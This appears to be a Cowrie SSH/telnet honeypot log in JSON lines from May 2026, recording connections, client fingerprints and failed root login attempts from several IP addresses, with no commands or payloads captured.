{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:ff:63:9c:ab:52:c1:3f:de:c1:20:4c:67:1c:6e:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6EKl0eiCHSSUhdS8+q2OT3W1pJ2zpKipnzwqeuw7DkoXj9LvZFtMTDkbbyzdW4z7gtYebuLVg5PfgH7yrvceqCig/K/t4wdtrKmRfbGaNXkk11uqD+xc3MPleP+yTi5w82T+Td3Kc/xwkRC4GscvQufwplS+QpTdwgbHkM8Gr0EbeZgQiBClWlKbeU+mgyVrgV6iRy6ieut6+8X2vb0g6c7i43ctfMVZb9YMkjvcWaCcxicqht8I5gJC7SVU9OvAexEXTMpOrnsUBqfrWjbsT7OqKNUHqNS6iykoVWw1dWsSMbwGJbPz7ir9u16iAxIO71TsHdJX3uLPdNqQCtzpr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:34.500694Z","src_ip":"74.48.72.51","session":"1b0987a0b91e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:34.568809Z","src_ip":"74.48.72.51","session":"1b0987a0b91e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":37646,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b36e3d80a58","protocol":"ssh","message":"New connection: 45.78.230.231:37646 (10.17.0.5:22) [session: 6b36e3d80a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:36.607810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:36.612078Z","src_ip":"45.78.230.231","session":"6b36e3d80a58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:29:36.849923Z","src_ip":"45.78.230.231","session":"6b36e3d80a58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"43.5","message":"Connection lost after 43.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:30:20.095952Z","src_ip":"45.78.230.231","session":"6b36e3d80a58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":48524,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a3a3bc4709c","protocol":"telnet","message":"New connection: 199.103.57.63:48524 (159.203.135.109:23) [session: 1a3a3bc4709c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:30:28.631846Z"}
{"eventid":"cowrie.session.closed","duration":35.00520300865173,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:31:03.636925Z","src_ip":"199.103.57.63","session":"1a3a3bc4709c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":56022,"dst_ip":"10.17.0.5","dst_port":22,"session":"a47ae2463a59","protocol":"ssh","message":"New connection: 45.78.230.231:56022 (10.17.0.5:22) [session: a47ae2463a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:31:24.069010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:31:24.073888Z","src_ip":"45.78.230.231","session":"a47ae2463a59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:31:25.955845Z","src_ip":"45.78.230.231","session":"a47ae2463a59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty12","message":"login attempt [root/qwerty12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:31:26.667719Z","src_ip":"45.78.230.231","session":"a47ae2463a59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:31:27.908813Z","src_ip":"45.78.230.231","session":"a47ae2463a59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.177.186","src_port":28084,"dst_ip":"10.17.0.5","dst_port":22,"session":"74916bad6efb","protocol":"ssh","message":"New connection: 129.232.177.186:28084 (10.17.0.5:22) [session: 74916bad6efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:26.644176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:26.649037Z","src_ip":"129.232.177.186","session":"74916bad6efb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:26.897878Z","src_ip":"129.232.177.186","session":"74916bad6efb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:58:41:69:e0:67:dd:b2:ec:6a:96:eb:79:b9:9d:c8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPMBGfEwx8X8hB4Gd21pIYhSbrEG7LYS/zj5VPCjZR9hEXZCcmucyMXxz6Y4ohS+iIEdc7pdHmYviyfIlWY+VtGGfa/H3In4ezoVsJV6bdVhHeZ+hMPzX0RIpW5msvRHYEQP2fjCDhtpdQfnS/NA4BYKU5pgrhdXSgzQmA2BVe+pAAAAFQCyBa5Sc7KrR7JPAyUMuczdl5ukKQAAAIEAxDgEHXY/UwWJp6R2NfIGeUzZWSfp2TeoEAsSHaOT/XHq2mBYdJPzUkzx2iEfTrDm/m7xxkBoiNhq7jYofufZmO54H+H4Jzzh4DZx5v0CiCroADhLTTAD9CD/3hKKB+Id9DbrxPd8bNM1xqdJAy7xW5upupDMYejTK0y0RRIs/4UAAACBANtjfLM0ZNCMjq27bBsYdary5to9xg6N3NyajO8WErjS3UJI998NkiSdtBoHJ7vl6h9u/vTAa9LOU9l0vVVH8pbMK30JjSMRr5hkRR/xteLqUF2D4vKJep1p1dpT2fasPcG9uyPLj7nlpjXDi5YAPIwIwWe6F16gXQUCMtG00ByW","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a0:58:41:69:e0:67:dd:b2:ec:6a:96:eb:79:b9:9d:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:28.117437Z","src_ip":"129.232.177.186","session":"74916bad6efb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:58:41:69:e0:67:dd:b2:ec:6a:96:eb:79:b9:9d:c8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPMBGfEwx8X8hB4Gd21pIYhSbrEG7LYS/zj5VPCjZR9hEXZCcmucyMXxz6Y4ohS+iIEdc7pdHmYviyfIlWY+VtGGfa/H3In4ezoVsJV6bdVhHeZ+hMPzX0RIpW5msvRHYEQP2fjCDhtpdQfnS/NA4BYKU5pgrhdXSgzQmA2BVe+pAAAAFQCyBa5Sc7KrR7JPAyUMuczdl5ukKQAAAIEAxDgEHXY/UwWJp6R2NfIGeUzZWSfp2TeoEAsSHaOT/XHq2mBYdJPzUkzx2iEfTrDm/m7xxkBoiNhq7jYofufZmO54H+H4Jzzh4DZx5v0CiCroADhLTTAD9CD/3hKKB+Id9DbrxPd8bNM1xqdJAy7xW5upupDMYejTK0y0RRIs/4UAAACBANtjfLM0ZNCMjq27bBsYdary5to9xg6N3NyajO8WErjS3UJI998NkiSdtBoHJ7vl6h9u/vTAa9LOU9l0vVVH8pbMK30JjSMRr5hkRR/xteLqUF2D4vKJep1p1dpT2fasPcG9uyPLj7nlpjXDi5YAPIwIwWe6F16gXQUCMtG00ByW","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:28.123865Z","src_ip":"129.232.177.186","session":"74916bad6efb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:31:37:be:23:81:eb:1f:1f:fd:0d:d0:40:e9:86:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2jkfIngLCyyRExUBpQZY5SlnMRU+pDabW0JulTnBnSUEybedVOHQumWGiCfkN/9X0pobhFQYQp6AFpwe5cfkM3ZQcjmM9txNbPVqfkJFo4ew6FMekTZEo6/tdhJoZE5EeR7irf4AqKhrU81zC9/ImwoGFwhkGn1eaYc6i8vLOxsWLaaOTaS9t7wz2xg9U/nle3T7lA18UXC+sfx0R53Vlk0nFBc1WkqSdBMHcaOitmDyxFtkEbdF/UWKFR5VoPrTUf9mel59n8N6I5EA4KmYygiKJAsndvL4xj75G7CNMX88hR9OlgeUKnObTlLMusj2QdKKiX7B/i3ru+m7HPPvH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:31:37:be:23:81:eb:1f:1f:fd:0d:d0:40:e9:86:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:28.371409Z","src_ip":"129.232.177.186","session":"74916bad6efb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:31:37:be:23:81:eb:1f:1f:fd:0d:d0:40:e9:86:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2jkfIngLCyyRExUBpQZY5SlnMRU+pDabW0JulTnBnSUEybedVOHQumWGiCfkN/9X0pobhFQYQp6AFpwe5cfkM3ZQcjmM9txNbPVqfkJFo4ew6FMekTZEo6/tdhJoZE5EeR7irf4AqKhrU81zC9/ImwoGFwhkGn1eaYc6i8vLOxsWLaaOTaS9t7wz2xg9U/nle3T7lA18UXC+sfx0R53Vlk0nFBc1WkqSdBMHcaOitmDyxFtkEbdF/UWKFR5VoPrTUf9mel59n8N6I5EA4KmYygiKJAsndvL4xj75G7CNMX88hR9OlgeUKnObTlLMusj2QdKKiX7B/i3ru+m7HPPvH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:28.375051Z","src_ip":"129.232.177.186","session":"74916bad6efb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:75:a7:07:d3:84:5e:72:0e:6d:7b:d7:0e:ec:14:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs+IF4BX/HcXwdg9zoYUAxnbUMEv1n7v7yIRN9ZlFJAiLe3h2kmM8TY43w+udQqiBKlS+5EvoXNpirkitWDgqmByyFFgI2/ABKX5929j5YAcMpQ/wkvTlD8jt3ZZAK/50bkWjXPQsq90HxAtFdfGLl3hHtLiJUP68BbCWd096AZZhELAihZwrVCOo9bYBy/pH45f2Ct4+GttyLnBKofcnegEa/P2oDEzQ12hkufP4fT7px5xb3BXQUQZsoAvSZD8eYwwoeFFopJfOEJkHtWGewunNyceXz/MO4gMPQkcWdrPL2YDqgue61QphonVMtV8XYr8SzZHVwvve3A2F0DQB8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:75:a7:07:d3:84:5e:72:0e:6d:7b:d7:0e:ec:14:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:28.623617Z","src_ip":"129.232.177.186","session":"74916bad6efb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:75:a7:07:d3:84:5e:72:0e:6d:7b:d7:0e:ec:14:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs+IF4BX/HcXwdg9zoYUAxnbUMEv1n7v7yIRN9ZlFJAiLe3h2kmM8TY43w+udQqiBKlS+5EvoXNpirkitWDgqmByyFFgI2/ABKX5929j5YAcMpQ/wkvTlD8jt3ZZAK/50bkWjXPQsq90HxAtFdfGLl3hHtLiJUP68BbCWd096AZZhELAihZwrVCOo9bYBy/pH45f2Ct4+GttyLnBKofcnegEa/P2oDEzQ12hkufP4fT7px5xb3BXQUQZsoAvSZD8eYwwoeFFopJfOEJkHtWGewunNyceXz/MO4gMPQkcWdrPL2YDqgue61QphonVMtV8XYr8SzZHVwvve3A2F0DQB8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:28.626919Z","src_ip":"129.232.177.186","session":"74916bad6efb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:96:8e:09:a1:63:58:6e:3b:ab:07:99:a9:78:58:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqOliN/qxYcZr9RXjmue0/2K1go+d5qNFJxHtW6/535c8flLBguL0dKwMhGnQfXwVHwymYt/6vhrupAxxegLp0xI5NkveeTJZE9grFNlIjap7pVJ6ETSz2QbFfQDxYhNcZwa6dfkZkDmQ9JaMvnq/+Pz8HJFGeTdmH6t4mEIW4iJ0lw6Ss1r5UVWbM/SY+zwlvnKtiz7yT8yWS3Wz5DUBWofBdFEAJq5YIFG192WrK2XpbtCSVf68aoAkeeY7kz2u4XMKs3pkl+AbgNjyZECc3KGzFWw7VUdZ1H/ah7hQA3hG0FsYnC987Qus6FuAKIZuEOkqnQdWE7WsHntkmQRRj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:96:8e:09:a1:63:58:6e:3b:ab:07:99:a9:78:58:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:28.875470Z","src_ip":"129.232.177.186","session":"74916bad6efb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:96:8e:09:a1:63:58:6e:3b:ab:07:99:a9:78:58:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqOliN/qxYcZr9RXjmue0/2K1go+d5qNFJxHtW6/535c8flLBguL0dKwMhGnQfXwVHwymYt/6vhrupAxxegLp0xI5NkveeTJZE9grFNlIjap7pVJ6ETSz2QbFfQDxYhNcZwa6dfkZkDmQ9JaMvnq/+Pz8HJFGeTdmH6t4mEIW4iJ0lw6Ss1r5UVWbM/SY+zwlvnKtiz7yT8yWS3Wz5DUBWofBdFEAJq5YIFG192WrK2XpbtCSVf68aoAkeeY7kz2u4XMKs3pkl+AbgNjyZECc3KGzFWw7VUdZ1H/ah7hQA3hG0FsYnC987Qus6FuAKIZuEOkqnQdWE7WsHntkmQRRj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:28.878794Z","src_ip":"129.232.177.186","session":"74916bad6efb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:03:74:8f:61:04:0b:e0:30:1c:64:7b:de:33:cc:7a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALzgx2S5y9feWMfHen9NtMgM0BJHN86ut8AkUnuN4lIptnnoFjAFKf7KejBzW1r9/IerCmYX/tigWEu36X50dsim/B2xtQ2GurOx9akAq63SXE0qYEBX1og4JKUDK7XpQ7VCFXfTQ4L9e813EIT1kx2uEJV5h3gfWsRMtW3E0oN3AAAAFQDutCHqF/Qdump5c56eLCm+RD4KsQAAAIEArazOmG/REyIWqd/Ixip5RXZ/SIfFr6fKWJbPPXx9CwKSktL96VNt304ePePWNYyhdFV1sYi+G85qZpCv7ftY6/4NSwPyKlYuZztTPNXyoNeygth8wYsHXrkKp06zvcVbM7YtqzrvOiJ+0LVe9ZnM+uPl2A/Too2aXOrDWchv1TYAAACAYIwgHJAHtM5OJTOD2Yz/qIxefLV/NSm6MdKFCYrodd/3QBsbZ4DKD/EvodKp/FPUYGqt5A9nRL63TwmPZz/6nL7475OjF4o/gFtk5VdHRjXtVGqQ40843i0BZiwYxzO/JYQl6v1Qd9/P5aKEX7hNXVbA0BCG3Sdy6euH+ZFUgUU=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint de:03:74:8f:61:04:0b:e0:30:1c:64:7b:de:33:cc:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:29.127298Z","src_ip":"129.232.177.186","session":"74916bad6efb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:03:74:8f:61:04:0b:e0:30:1c:64:7b:de:33:cc:7a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALzgx2S5y9feWMfHen9NtMgM0BJHN86ut8AkUnuN4lIptnnoFjAFKf7KejBzW1r9/IerCmYX/tigWEu36X50dsim/B2xtQ2GurOx9akAq63SXE0qYEBX1og4JKUDK7XpQ7VCFXfTQ4L9e813EIT1kx2uEJV5h3gfWsRMtW3E0oN3AAAAFQDutCHqF/Qdump5c56eLCm+RD4KsQAAAIEArazOmG/REyIWqd/Ixip5RXZ/SIfFr6fKWJbPPXx9CwKSktL96VNt304ePePWNYyhdFV1sYi+G85qZpCv7ftY6/4NSwPyKlYuZztTPNXyoNeygth8wYsHXrkKp06zvcVbM7YtqzrvOiJ+0LVe9ZnM+uPl2A/Too2aXOrDWchv1TYAAACAYIwgHJAHtM5OJTOD2Yz/qIxefLV/NSm6MdKFCYrodd/3QBsbZ4DKD/EvodKp/FPUYGqt5A9nRL63TwmPZz/6nL7475OjF4o/gFtk5VdHRjXtVGqQ40843i0BZiwYxzO/JYQl6v1Qd9/P5aKEX7hNXVbA0BCG3Sdy6euH+ZFUgUU=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:29.130088Z","src_ip":"129.232.177.186","session":"74916bad6efb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:32:29.380449Z","src_ip":"129.232.177.186","session":"74916bad6efb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":54264,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0a8e5f70e9d","protocol":"telnet","message":"New connection: 176.65.149.254:54264 (159.203.135.109:23) [session: f0a8e5f70e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:33:05.581028Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":59530,"dst_ip":"10.17.0.5","dst_port":22,"session":"7db9b30ccbe4","protocol":"ssh","message":"New connection: 45.78.230.231:59530 (10.17.0.5:22) [session: 7db9b30ccbe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:33:16.516088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:33:17.052926Z","src_ip":"45.78.230.231","session":"7db9b30ccbe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:33:18.459580Z","src_ip":"45.78.230.231","session":"7db9b30ccbe4","protocol":"ssh"}
